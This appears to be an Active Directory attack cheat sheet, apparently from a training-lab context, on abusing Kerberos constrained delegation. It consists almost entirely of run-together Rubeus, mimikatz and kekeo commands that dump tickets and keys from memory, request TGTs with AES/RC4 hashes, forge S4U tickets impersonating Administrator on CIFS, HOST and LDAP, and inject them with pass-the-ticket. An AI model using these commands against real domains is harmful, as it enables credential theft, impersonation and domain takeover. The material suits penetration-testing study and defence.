# The first step is to get a TGT of the service that can impersonate others## If you are SYSTEM in the server, you might take it from memory.\Rubeus.exetriage.\Rubeus.exedump/luid:0x3e4/service:krbtgt/nowrap# If you are SYSTEM, you might get the AES key or the RC4 hash from memory and request one## Get AES/RC4 with mimikatzmimikatzsekurlsa::ekeys## Request with aestgt::ask/user:dcorp-adminsrv$ /domain:dollarcorp.moneycorp.local/aes256:babf31e0d787aac5c9cc0ef38c51bab5a2d2ece608181fb5f1d492ea55f61f05.\Rubeus.exeasktgt/user:dcorp-adminsrv$ /aes256:babf31e0d787aac5c9cc0ef38c51bab5a2d2ece608181fb5f1d492ea55f61f05/opsec/nowrap# Request with RC4tgt::ask/user:dcorp-adminsrv$ /domain:dollarcorp.moneycorp.local/rc4:8c6264140d5ae7d03f7f2a53088a291d.\Rubeus.exeasktgt/user:dcorp-adminsrv$ /rc4:cc098f204c5887eaa8253e7c2749156f/outfile:TGT_websvc.kirbi
#Obtain a TGS of the Administrator user to self.\Rubeus.exes4u/ticket:TGT_websvc.kirbi/impersonateuser:Administrator/outfile:TGS_administrator#Obtain service TGS impersonating Administrator (CIFS).\Rubeus.exes4u/ticket:TGT_websvc.kirbi/tgs:TGS_administrator_Administrator@DOLLARCORP.MONEYCORP.LOCAL_to_websvc@DOLLARCORP.MONEYCORP.LOCAL/msdsspn:"CIFS/dcorp-mssql.dollarcorp.moneycorp.local"/outfile:TGS_administrator_CIFS#Impersonate Administrator on different service (HOST).\Rubeus.exes4u/ticket:TGT_websvc.kirbi/tgs:TGS_administrator_Administrator@DOLLARCORP.MONEYCORP.LOCAL_to_websvc@DOLLARCORP.MONEYCORP.LOCAL/msdsspn:"CIFS/dcorp-mssql.dollarcorp.moneycorp.local"/altservice:HOST/outfile:TGS_administrator_HOST# Get S4U TGS + Service impersonated ticket in 1 cmd (instead of 2).\Rubeus.exes4u/impersonateuser:Administrator/msdsspn:"CIFS/dcorp-mssql.dollarcorp.moneycorp.local"/user:dcorp-adminsrv$ /ticket:TGT_websvc.kirbi/nowrap#Load ticket in memory.\Rubeus.exeptt/ticket:TGS_administrator_CIFS_HOST-dcorp-mssql.dollarcorp.moneycorp.local
kekeo + Mimikatz
#Obtain a TGT for the Constained allowed usertgt::ask/user:dcorp-adminsrv$ /domain:dollarcorp.moneycorp.local/rc4:8c6264140d5ae7d03f7f2a53088a291d#Get a TGS for the service you are allowed (in this case time) and for other one (in this case LDAP)tgs::s4u/tgt:TGT_dcorpadminsrv$@DOLLARCORP.MONEYCORP.LOCAL_krbtgt~dollarcorp.moneycorp.local@DOLLARCORP.MONEYCORP.LOCAL.kirbi/user:Administrator@dollarcorp.moneycorp.local/service:time/dcorp-dc.dollarcorp.moneycorp.LOCAL|ldap/dcorpdc.dollarcorp.moneycorp.LOCAL#Load the TGS in memoryInvoke-Mimikatz-Command'"kerberos::ptt TGS_Administrator@dollarcorp.moneycorp.local@DOLLARCORP.MONEYCORP.LOCAL_ldap~ dcorp-dc.dollarcorp.moneycorp.LOCAL@DOLLARCORP.MONEYCORP.LOCAL_ALT.kirbi"'